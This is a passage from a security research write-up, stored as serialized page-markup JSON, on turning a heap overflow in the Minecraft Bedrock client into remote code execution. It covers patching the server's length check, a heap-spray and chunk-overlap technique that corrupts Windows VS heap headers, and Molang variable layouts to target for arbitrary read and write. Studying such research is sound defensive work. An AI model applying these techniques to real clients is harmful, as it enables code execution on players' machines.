",{"type":24,"tag":135,"props":158740,"children":158742},{"className":158741},[],[158743],{"type":29,"value":158744},"string_length \u003C= 512",{"type":29,"value":158746}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":24,"tag":25,"props":158748,"children":158749},{},[158750],{"type":29,"value":158751},"The disassembly of the comparison looks like this:",{"type":24,"tag":25,"props":158753,"children":158754},{},[158755],{"type":24,"tag":74,"props":158756,"children":158758},{"alt":76,"src":158757},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":24,"tag":25,"props":158760,"children":158761},{},[158762,158764,158769,158771,158776,158777,158782,158784,158790,158792,158798,158800,158805,158807,158812],{"type":29,"value":158763},"The code compares ",{"type":24,"tag":135,"props":158765,"children":158767},{"className":158766},[],[158768],{"type":29,"value":6426},{"type":29,"value":158770}," (the string length) to ",{"type":24,"tag":135,"props":158772,"children":158774},{"className":158773},[],[158775],{"type":29,"value":134604},{"type":29,"value":1357},{"type":24,"tag":135,"props":158778,"children":158780},{"className":158779},[],[158781],{"type":29,"value":158714},{"type":29,"value":158783}," decimal). It then performs a ",{"type":24,"tag":135,"props":158785,"children":158787},{"className":158786},[],[158788],{"type":29,"value":158789},"jbe",{"type":29,"value":158791},", jumping to address ",{"type":24,"tag":135,"props":158793,"children":158795},{"className":158794},[],[158796],{"type":29,"value":158797},"0x14275114c",{"type":29,"value":158799}," if ",{"type":24,"tag":135,"props":158801,"children":158803},{"className":158802},[],[158804],{"type":29,"value":6426},{"type":29,"value":158806}," is less than or equal to ",{"type":24,"tag":135,"props":158808,"children":158810},{"className":158809},[],[158811],{"type":29,"value":158714},{"type":29,"value":158813},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":24,"tag":25,"props":158815,"children":158816},{},[158817,158819,158824,158826,158832],{"type":29,"value":158818},"To force execution down this path, we patched the ",{"type":24,"tag":135,"props":158820,"children":158822},{"className":158821},[],[158823],{"type":29,"value":158789},{"type":29,"value":158825}," instruction to an unconditional ",{"type":24,"tag":135,"props":158827,"children":158829},{"className":158828},[],[158830],{"type":29,"value":158831},"jmp",{"type":29,"value":158833},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":24,"tag":25,"props":158835,"children":158836},{},[158837],{"type":24,"tag":74,"props":158838,"children":158840},{"alt":76,"src":158839},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":24,"tag":25,"props":158842,"children":158843},{},[158844,158846,158851,158853,158858],{"type":29,"value":158845},"After patching the server and calling ",{"type":24,"tag":135,"props":158847,"children":158849},{"className":158848},[],[158850],{"type":29,"value":156955},{"type":29,"value":158852}," with a size of ",{"type":24,"tag":135,"props":158854,"children":158856},{"className":158855},[],[158857],{"type":29,"value":7807},{"type":29,"value":158859},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":24,"tag":25,"props":158861,"children":158862},{},[158863],{"type":24,"tag":74,"props":158864,"children":158866},{"alt":76,"src":158865},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":24,"tag":26485,"props":158868,"children":158869},{},[],{"type":24,"tag":25,"props":158871,"children":158872},{},[158873],{"type":29,"value":158874},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":24,"tag":25,"props":158876,"children":158877},{},[158878],{"type":29,"value":158879},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":24,"tag":85,"props":158881,"children":158883},{"id":158882},"overlapping-heap-chunks",[158884],{"type":29,"value":158885},"Overlapping Heap Chunks",{"type":24,"tag":25,"props":158887,"children":158888},{},[158889,158891,158896],{"type":29,"value":158890},"The attack is described in detail in the referenced blog post (",{"type":24,"tag":32,"props":158892,"children":158894},{"href":156699,"rel":158893},[36],[158895],{"type":29,"value":55251},{"type":29,"value":158897},"), so we will present a high-level overview.",{"type":24,"tag":25,"props":158899,"children":158900},{},[158901,158903,158909],{"type":29,"value":158902},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":24,"tag":135,"props":158904,"children":158906},{"className":158905},[],[158907],{"type":29,"value":158908},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":158910}," structure layout is required:",{"type":24,"tag":261,"props":158912,"children":158914},{"code":158913}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[158915],{"type":24,"tag":135,"props":158916,"children":158917},{"__ignoreMap":7},[158918],{"type":29,"value":158913},{"type":24,"tag":25,"props":158920,"children":158921},{},[158922,158924,158930,158932,158938,158939,158945,158946,158952,158954,158959,158961,158966,158968,158974,158976,158981,158983,158989],{"type":29,"value":158923},"At offset 0 there is a header ",{"type":24,"tag":135,"props":158925,"children":158927},{"className":158926},[],[158928],{"type":29,"value":158929},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":158931}," containing fields such as ",{"type":24,"tag":135,"props":158933,"children":158935},{"className":158934},[],[158936],{"type":29,"value":158937},"MemoryCost",{"type":29,"value":158},{"type":24,"tag":135,"props":158940,"children":158942},{"className":158941},[],[158943],{"type":29,"value":158944},"UnsafeSize",{"type":29,"value":158},{"type":24,"tag":135,"props":158947,"children":158949},{"className":158948},[],[158950],{"type":29,"value":158951},"UnsafePrevSize",{"type":29,"value":158953},", etc. For the attack we only care about the ",{"type":24,"tag":135,"props":158955,"children":158957},{"className":158956},[],[158958],{"type":29,"value":158944},{"type":29,"value":158960}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":24,"tag":135,"props":158962,"children":158964},{"className":158963},[],[158965],{"type":29,"value":133227},{"type":29,"value":158967},", so for a chunk of size ",{"type":24,"tag":135,"props":158969,"children":158971},{"className":158970},[],[158972],{"type":29,"value":158973},"0x4010",{"type":29,"value":158975}," the value of ",{"type":24,"tag":135,"props":158977,"children":158979},{"className":158978},[],[158980],{"type":29,"value":158944},{"type":29,"value":158982}," would be ",{"type":24,"tag":135,"props":158984,"children":158986},{"className":158985},[],[158987],{"type":29,"value":158988},"0x401",{"type":29,"value":41},{"type":24,"tag":25,"props":158991,"children":158992},{},[158993,158994,158999],{"type":29,"value":71003},{"type":24,"tag":135,"props":158995,"children":158997},{"className":158996},[],[158998],{"type":29,"value":158944},{"type":29,"value":159000}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":24,"tag":25,"props":159002,"children":159003},{},[159004,159006,159011,159013,159018,159020,159026,159028,159033],{"type":29,"value":159005},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":24,"tag":135,"props":159007,"children":159009},{"className":159008},[],[159010],{"type":29,"value":158944},{"type":29,"value":159012}," in the smallest possible VS chunk (",{"type":24,"tag":135,"props":159014,"children":159016},{"className":159015},[],[159017],{"type":29,"value":158973},{"type":29,"value":159019},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":24,"tag":135,"props":159021,"children":159023},{"className":159022},[],[159024],{"type":29,"value":159025},"[0x10, 0xffff0]",{"type":29,"value":159027}," range, the probability that it exceeds ",{"type":24,"tag":135,"props":159029,"children":159031},{"className":159030},[],[159032],{"type":29,"value":158973},{"type":29,"value":159034}," is:",{"type":24,"tag":261,"props":159036,"children":159038},{"code":159037},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[159039],{"type":24,"tag":135,"props":159040,"children":159041},{"__ignoreMap":7},[159042],{"type":29,"value":159037},{"type":24,"tag":25,"props":159044,"children":159045},{},[159046],{"type":29,"value":159047},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":24,"tag":25,"props":159049,"children":159050},{},[159051],{"type":29,"value":159052},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":24,"tag":26585,"props":159054,"children":159056},{"id":159055},"overlap-attack-overview",[159057],{"type":29,"value":159058},"Overlap Attack Overview",{"type":24,"tag":25,"props":159060,"children":159061},{},[159062,159064,159069],{"type":29,"value":159063},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":24,"tag":135,"props":159065,"children":159067},{"className":159066},[],[159068],{"type":29,"value":133250},{"type":29,"value":159070}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":24,"tag":25,"props":159072,"children":159073},{},[159074,159076,159081,159083,159088],{"type":29,"value":159075},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":24,"tag":135,"props":159077,"children":159079},{"className":159078},[],[159080],{"type":29,"value":154958},{"type":29,"value":159082},"-sized chunks in the free list that we want to avoid. If a ",{"type":24,"tag":135,"props":159084,"children":159086},{"className":159085},[],[159087],{"type":29,"value":154958},{"type":29,"value":159089},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":24,"tag":25,"props":159091,"children":159092},{},[159093,159095,159100],{"type":29,"value":159094},"To remove those ",{"type":24,"tag":135,"props":159096,"children":159098},{"className":159097},[],[159099],{"type":29,"value":154958},{"type":29,"value":159101},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":24,"tag":25,"props":159103,"children":159104},{},[159105],{"type":29,"value":159106},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":24,"tag":261,"props":159108,"children":159110},{"code":159109},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[159111],{"type":24,"tag":135,"props":159112,"children":159113},{"__ignoreMap":7},[159114],{"type":29,"value":159109},{"type":24,"tag":25,"props":159116,"children":159117},{},[159118,159120,159125,159127,159132],{"type":29,"value":159119},"Next we create ",{"type":24,"tag":10648,"props":159121,"children":159122},{},[159123],{"type":29,"value":159124},"holes",{"type":29,"value":159126}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":24,"tag":135,"props":159128,"children":159130},{"className":159129},[],[159131],{"type":29,"value":154958},{"type":29,"value":159133},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":24,"tag":261,"props":159135,"children":159137},{"code":159136}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[159138],{"type":24,"tag":135,"props":159139,"children":159140},{"__ignoreMap":7},[159141],{"type":29,"value":159136},{"type":24,"tag":25,"props":159143,"children":159144},{},[159145,159147,159152,159154,159159],{"type":29,"value":159146},"When a ",{"type":24,"tag":135,"props":159148,"children":159150},{"className":159149},[],[159151],{"type":29,"value":154958},{"type":29,"value":159153}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":24,"tag":135,"props":159155,"children":159157},{"className":159156},[],[159158],{"type":29,"value":158944},{"type":29,"value":159160}," field will be overwritten:",{"type":24,"tag":261,"props":159162,"children":159164},{"code":159163}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[159165],{"type":24,"tag":135,"props":159166,"children":159167},{"__ignoreMap":7},[159168],{"type":29,"value":159163},{"type":24,"tag":25,"props":159170,"children":159171},{},[159172,159174,159179,159181,159186,159188,159193],{"type":29,"value":159173},"Once ",{"type":24,"tag":135,"props":159175,"children":159177},{"className":159176},[],[159178],{"type":29,"value":158944},{"type":29,"value":159180}," has been overwritten, ",{"type":24,"tag":135,"props":159182,"children":159184},{"className":159183},[],[159185],{"type":29,"value":154958},{"type":29,"value":159187}," allocation is freed immediately after, restoring the previous layout but with ",{"type":24,"tag":135,"props":159189,"children":159191},{"className":159190},[],[159192],{"type":29,"value":158944},{"type":29,"value":159194}," field corrupted:",{"type":24,"tag":261,"props":159196,"children":159198},{"code":159197}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[159199],{"type":24,"tag":135,"props":159200,"children":159201},{"__ignoreMap":7},[159202],{"type":29,"value":159197},{"type":24,"tag":25,"props":159204,"children":159205},{},[159206],{"type":29,"value":159207},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":24,"tag":261,"props":159209,"children":159211},{"code":159210}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[159212],{"type":24,"tag":135,"props":159213,"children":159214},{"__ignoreMap":7},[159215],{"type":29,"value":159210},{"type":24,"tag":25,"props":159217,"children":159218},{},[159219],{"type":29,"value":159220},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":24,"tag":261,"props":159222,"children":159224},{"code":159223}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[159225],{"type":24,"tag":135,"props":159226,"children":159227},{"__ignoreMap":7},[159228],{"type":29,"value":159223},{"type":24,"tag":26485,"props":159230,"children":159231},{},[],{"type":24,"tag":25,"props":159233,"children":159234},{},[159235],{"type":29,"value":159236},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":24,"tag":25,"props":159238,"children":159239},{},[159240],{"type":29,"value":159241},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":24,"tag":85,"props":159243,"children":159245},{"id":159244},"molang",[159246],{"type":29,"value":159247},"Molang",{"type":24,"tag":25,"props":159249,"children":159250},{},[159251,159253,159260],{"type":29,"value":159252},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":24,"tag":32,"props":159254,"children":159257},{"href":159255,"rel":159256},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[36],[159258],{"type":29,"value":159259},"syntax guide",{"type":29,"value":41},{"type":24,"tag":25,"props":159262,"children":159263},{},[159264,159266,159271,159272,159277],{"type":29,"value":159265},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":24,"tag":135,"props":159267,"children":159269},{"className":159268},[],[159270],{"type":29,"value":5059},{"type":29,"value":518},{"type":24,"tag":135,"props":159273,"children":159275},{"className":159274},[],[159276],{"type":29,"value":23386},{"type":29,"value":159278}," operators are supported.",{"type":24,"tag":25,"props":159280,"children":159281},{},[159282,159284,159290,159292,159297,159299,159304,159305,159310,159311],{"type":29,"value":159283},"Variables are defined by prepending ",{"type":24,"tag":135,"props":159285,"children":159287},{"className":159286},[],[159288],{"type":29,"value":159289},"variable.",{"type":29,"value":159291}," to the name and assigning a value. For example, to define ",{"type":24,"tag":135,"props":159293,"children":159295},{"className":159294},[],[159296],{"type":29,"value":16793},{"type":29,"value":159298}," as the sum of ",{"type":24,"tag":135,"props":159300,"children":159302},{"className":159301},[],[159303],{"type":29,"value":32},{"type":29,"value":518},{"type":24,"tag":135,"props":159306,"children":159308},{"className":159307},[],[159309],{"type":29,"value":10954},{"type":29,"value":23028},{"type":24,"tag":135,"props":159312,"children":159314},{"className":159313},[],[159315],{"type":29,"value":159316},"variable.result = variable.a + variable.b;",{"type":24,"tag":25,"props":159318,"children":159319},{},[159320,159322,159327,159328,159333,159334,159339,159340,159345],{"type":29,"value":159321},"Logical operators such as ",{"type":24,"tag":135,"props":159323,"children":159325},{"className":159324},[],[159326],{"type":29,"value":30104},{"type":29,"value":158},{"type":24,"tag":135,"props":159329,"children":159331},{"className":159330},[],[159332],{"type":29,"value":79985},{"type":29,"value":158},{"type":24,"tag":135,"props":159335,"children":159337},{"className":159336},[],[159338],{"type":29,"value":801},{"type":29,"value":158},{"type":24,"tag":135,"props":159341,"children":159343},{"className":159342},[],[159344],{"type":29,"value":18165},{"type":29,"value":159346},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":24,"tag":261,"props":159348,"children":159350},{"code":159349},"(variable.result == 3) ? {\n return 1;\n} : {\n return 0;\n}\n",[159351],{"type":24,"tag":135,"props":159352,"children":159353},{"__ignoreMap":7},[159354],{"type":29,"value":159349},{"type":24,"tag":25,"props":159356,"children":159357},{},[159358],{"type":29,"value":159359},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":24,"tag":26585,"props":159361,"children":159363},{"id":159362},"molang-internals",[159364],{"type":29,"value":159365},"Molang Internals",{"type":24,"tag":25,"props":159367,"children":159368},{},[159369],{"type":29,"value":159370},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":24,"tag":25,"props":159372,"children":159373},{},[159374],{"type":29,"value":159375},"Below we describe the structures involved and their memory layout.",{"type":24,"tag":26585,"props":159377,"children":159379},{"id":159378},"molangvariable-and-molangscriptarg",[159380],{"type":29,"value":159381},"MolangVariable and MolangScriptArg",{"type":24,"tag":25,"props":159383,"children":159384},{},[159385,159386,159392],{"type":29,"value":109141},{"type":24,"tag":135,"props":159387,"children":159389},{"className":159388},[],[159390],{"type":29,"value":159391},"MolangVariable",{"type":29,"value":159393}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":24,"tag":261,"props":159395,"children":159397},{"code":159396,"language":578,"meta":7,"className":576,"style":7},"struct MolangVariable {\n \n struct HashedString {\n uint64_t variable_name_hash;\n std::string variable_name;\n };\n \n struct MolangScriptArg {\n uint32_t value_type;\n uint64_t value;\n std::vector\u003Cstruct MolangScriptArg> struct_fields;\n \n [...]\n };\n};\n",[159398],{"type":24,"tag":135,"props":159399,"children":159400},{"__ignoreMap":7},[159401,159413,159420,159432,159445,159453,159460,159467,159479,159492,159504,159534,159542,159549,159556],{"type":24,"tag":271,"props":159402,"children":159403},{"class":273,"line":274},[159404,159408],{"type":24,"tag":271,"props":159405,"children":159406},{"style":278},[159407],{"type":29,"value":1772},{"type":24,"tag":271,"props":159409,"children":159410},{"style":288},[159411],{"type":29,"value":159412}," MolangVariable {\n",{"type":24,"tag":271,"props":159414,"children":159415},{"class":273,"line":284},[159416],{"type":24,"tag":271,"props":159417,"children":159418},{"style":288},[159419],{"type":29,"value":68572},{"type":24,"tag":271,"props":159421,"children":159422},{"class":273,"line":294},[159423,159427],{"type":24,"tag":271,"props":159424,"children":159425},{"style":278},[159426],{"type":29,"value":13769},{"type":24,"tag":271,"props":159428,"children":159429},{"style":288},[159430],{"type":29,"value":159431}," HashedString {\n",{"type":24,"tag":271,"props":159433,"children":159434},{"class":273,"line":303},[159435,159440],{"type":24,"tag":271,"props":159436,"children":159437},{"style":278},[159438],{"type":29,"value":159439}," uint64_t",{"type":24,"tag":271,"props":159441,"children":159442},{"style":288},[159443],{"type":29,"value":159444}," variable_name_hash;\n",{"type":24,"tag":271,"props":159446,"children":159447},{"class":273,"line":312},[159448],{"type":24,"tag":271,"props":159449,"children":159450},{"style":288},[159451],{"type":29,"value":159452}," std::string variable_name;\n",{"type":24,"tag":271,"props":159454,"children":159455},{"class":273,"line":321},[159456],{"type":24,"tag":271,"props":159457,"children":159458},{"style":288},[159459],{"type":29,"value":46665},{"type":24,"tag":271,"props":159461,"children":159462},{"class":273,"line":330},[159463],{"type":24,"tag":271,"props":159464,"children":159465},{"style":288},[159466],{"type":29,"value":68572},{"type":24,"tag":271,"props":159468,"children":159469},{"class":273,"line":339},[159470,159474],{"type":24,"tag":271,"props":159471,"children":159472},{"style":278},[159473],{"type":29,"value":13769},{"type":24,"tag":271,"props":159475,"children":159476},{"style":288},[159477],{"type":29,"value":159478}," MolangScriptArg {\n",{"type":24,"tag":271,"props":159480,"children":159481},{"class":273,"line":347},[159482,159487],{"type":24,"tag":271,"props":159483,"children":159484},{"style":278},[159485],{"type":29,"value":159486}," uint32_t",{"type":24,"tag":271,"props":159488,"children":159489},{"style":288},[159490],{"type":29,"value":159491}," value_type;\n",{"type":24,"tag":271,"props":159493,"children":159494},{"class":273,"line":356},[159495,159499],{"type":24,"tag":271,"props":159496,"children":159497},{"style":278},[159498],{"type":29,"value":159439},{"type":24,"tag":271,"props":159500,"children":159501},{"style":288},[159502],{"type":29,"value":159503}," value;\n",{"type":24,"tag":271,"props":159505,"children":159506},{"class":273,"line":365},[159507,159512,159516,159520,159525,159529],{"type":24,"tag":271,"props":159508,"children":159509},{"style":288},[159510],{"type":29,"value":159511}," std::vector",{"type":24,"tag":271,"props":159513,"children":159514},{"style":624},[159515],{"type":29,"value":801},{"type":24,"tag":271,"props":159517,"children":159518},{"style":278},[159519],{"type":29,"value":1772},{"type":24,"tag":271,"props":159521,"children":159522},{"style":288},[159523],{"type":29,"value":159524}," MolangScriptArg",{"type":24,"tag":271,"props":159526,"children":159527},{"style":624},[159528],{"type":29,"value":18165},{"type":24,"tag":271,"props":159530,"children":159531},{"style":288},[159532],{"type":29,"value":159533}," struct_fields;\n",{"type":24,"tag":271,"props":159535,"children":159536},{"class":273,"line":374},[159537],{"type":24,"tag":271,"props":159538,"children":159539},{"style":288},[159540],{"type":29,"value":159541}," \n",{"type":24,"tag":271,"props":159543,"children":159544},{"class":273,"line":384},[159545],{"type":24,"tag":271,"props":159546,"children":159547},{"style":288},[159548],{"type":29,"value":130829},{"type":24,"tag":271,"props":159550,"children":159551},{"class":273,"line":393},[159552],{"type":24,"tag":271,"props":159553,"children":159554},{"style":288},[159555],{"type":29,"value":46665},{"type":24,"tag":271,"props":159557,"children":159558},{"class":273,"line":402},[159559],{"type":24,"tag":271,"props":159560,"children":159561},{"style":288},[159562],{"type":29,"value":4006},{"type":24,"tag":25,"props":159564,"children":159565},{},[159566,159568,159573],{"type":29,"value":159567},"In memory a ",{"type":24,"tag":135,"props":159569,"children":159571},{"className":159570},[],[159572],{"type":29,"value":159391},{"type":29,"value":159574}," instance resembles:",{"type":24,"tag":261,"props":159576,"children":159578},{"code":159577}," +---------------+---------------+\n+0x00 | FNV-1 hash |std::string.buf|\n +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n +---------------+---------------+\n+0x20 |std::string.cap| Unknown |\n +-------+-------+---------------+\n+0x30 | Type |Unused |Variable value |\n +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n +---------------+---------------+\n+0x50 |std::vector.cap| Unknown |\n +---------------+---------------+\n | . . . | . . . |\n",[159579],{"type":24,"tag":135,"props":159580,"children":159581},{"__ignoreMap":7},[159582],{"type":29,"value":159577},{"type":24,"tag":25,"props":159584,"children":159585},{},[159586],{"type":29,"value":159587},"For reference, example debugger view of the layout:",{"type":24,"tag":25,"props":159589,"children":159590},{},[159591],{"type":24,"tag":74,"props":159592,"children":159594},{"alt":76,"src":159593},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":24,"tag":25,"props":159596,"children":159597},{},[159598],{"type":29,"value":159599},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":24,"tag":25,"props":159601,"children":159602},{},[159603,159605,159611,159613,159618,159620,159626,159628,159633,159634,159639,159641,159646,159647,159653,159654,159660],{"type":29,"value":159604},"We only care about the ",{"type":24,"tag":135,"props":159606,"children":159608},{"className":159607},[],[159609],{"type":29,"value":159610},"MolangScriptArg",{"type":29,"value":159612}," beginning at offset ",{"type":24,"tag":135,"props":159614,"children":159616},{"className":159615},[],[159617],{"type":29,"value":135708},{"type":29,"value":159619}," because it contains variable values. In the screenshot above, the ",{"type":24,"tag":135,"props":159621,"children":159623},{"className":159622},[],[159624],{"type":29,"value":159625},"value_type",{"type":29,"value":159627}," at ",{"type":24,"tag":135,"props":159629,"children":159631},{"className":159630},[],[159632],{"type":29,"value":135708},{"type":29,"value":13219},{"type":24,"tag":135,"props":159635,"children":159637},{"className":159636},[],[159638],{"type":29,"value":4121},{"type":29,"value":159640}," (meaning float), and the ",{"type":24,"tag":135,"props":159642,"children":159644},{"className":159643},[],[159645],{"type":29,"value":46820},{"type":29,"value":159627},{"type":24,"tag":135,"props":159648,"children":159650},{"className":159649},[],[159651],{"type":29,"value":159652},"0x38",{"type":29,"value":13219},{"type":24,"tag":135,"props":159655,"children":159657},{"className":159656},[],[159658],{"type":29,"value":159659},"0xbf2070c8",{"type":29,"value":41},{"type":24,"tag":25,"props":159662,"children":159663},{},[159664,159666,159672,159674,159679,159681,159686,159687,159692,159694,159699,159701,159706],{"type":29,"value":159665},"During assignment, such as ",{"type":24,"tag":135,"props":159667,"children":159669},{"className":159668},[],[159670],{"type":29,"value":159671},"variable.a = variable.b",{"type":29,"value":159673},", each field of ",{"type":24,"tag":135,"props":159675,"children":159677},{"className":159676},[],[159678],{"type":29,"value":159610},{"type":29,"value":159680}," is copied from variable ",{"type":24,"tag":135,"props":159682,"children":159684},{"className":159683},[],[159685],{"type":29,"value":10954},{"type":29,"value":6428},{"type":24,"tag":135,"props":159688,"children":159690},{"className":159689},[],[159691],{"type":29,"value":32},{"type":29,"value":159693},". Interestingly, the ",{"type":24,"tag":135,"props":159695,"children":159697},{"className":159696},[],[159698],{"type":29,"value":46820},{"type":29,"value":159700}," field is always copied as a ",{"type":24,"tag":135,"props":159702,"children":159704},{"className":159703},[],[159705],{"type":29,"value":5279},{"type":29,"value":159707}," even if the type is a 32-bit float.",{"type":24,"tag":25,"props":159709,"children":159710},{},[159711,159713,159719],{"type":29,"value":159712},"Each entity stores its variables in a per-entity vector called ",{"type":24,"tag":135,"props":159714,"children":159716},{"className":159715},[],[159717],{"type":29,"value":159718},"MolangVariableMap",{"type":29,"value":41},{"type":24,"tag":26585,"props":159721,"children":159723},{"id":159722},"molangvariablemap",[159724],{"type":29,"value":159718},{"type":24,"tag":25,"props":159726,"children":159727},{},[159728,159733,159735,159741,159743,159749],{"type":24,"tag":135,"props":159729,"children":159731},{"className":159730},[],[159732],{"type":29,"value":159718},{"type":29,"value":159734}," is simply a ",{"type":24,"tag":135,"props":159736,"children":159738},{"className":159737},[],[159739],{"type":29,"value":159740},"std::vector\u003CMolangVariable *>",{"type":29,"value":159742}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":24,"tag":135,"props":159744,"children":159746},{"className":159745},[],[159747],{"type":29,"value":159748},"std::vector",{"type":29,"value":159750}," layout:",{"type":24,"tag":261,"props":159752,"children":159754},{"code":159753,"language":578,"meta":7,"className":576,"style":7},"struct vector {\n void *buf;\n void *len;\n void *cap;\n};\n",[159755],{"type":24,"tag":135,"props":159756,"children":159757},{"__ignoreMap":7},[159758,159770,159786,159802,159818],{"type":24,"tag":271,"props":159759,"children":159760},{"class":273,"line":274},[159761,159765],{"type":24,"tag":271,"props":159762,"children":159763},{"style":278},[159764],{"type":29,"value":1772},{"type":24,"tag":271,"props":159766,"children":159767},{"style":288},[159768],{"type":29,"value":159769}," vector {\n",{"type":24,"tag":271,"props":159771,"children":159772},{"class":273,"line":284},[159773,159777,159781],{"type":24,"tag":271,"props":159774,"children":159775},{"style":278},[159776],{"type":29,"value":24243},{"type":24,"tag":271,"props":159778,"children":159779},{"style":624},[159780],{"type":29,"value":3895},{"type":24,"tag":271,"props":159782,"children":159783},{"style":288},[159784],{"type":29,"value":159785},"buf;\n",{"type":24,"tag":271,"props":159787,"children":159788},{"class":273,"line":294},[159789,159793,159797],{"type":24,"tag":271,"props":159790,"children":159791},{"style":278},[159792],{"type":29,"value":24243},{"type":24,"tag":271,"props":159794,"children":159795},{"style":624},[159796],{"type":29,"value":3895},{"type":24,"tag":271,"props":159798,"children":159799},{"style":288},[159800],{"type":29,"value":159801},"len;\n",{"type":24,"tag":271,"props":159803,"children":159804},{"class":273,"line":303},[159805,159809,159813],{"type":24,"tag":271,"props":159806,"children":159807},{"style":278},[159808],{"type":29,"value":24243},{"type":24,"tag":271,"props":159810,"children":159811},{"style":624},[159812],{"type":29,"value":3895},{"type":24,"tag":271,"props":159814,"children":159815},{"style":288},[159816],{"type":29,"value":159817},"cap;\n",{"type":24,"tag":271,"props":159819,"children":159820},{"class":273,"line":312},[159821],{"type":24,"tag":271,"props":159822,"children":159823},{"style":288},[159824],{"type":29,"value":4006},{"type":24,"tag":25,"props":159826,"children":159827},{},[159828,159833,159835,159840,159842,159848,159850,159855,159856,159861],{"type":24,"tag":135,"props":159829,"children":159831},{"className":159830},[],[159832],{"type":29,"value":156914},{"type":29,"value":159834}," points to the allocated array of elements, 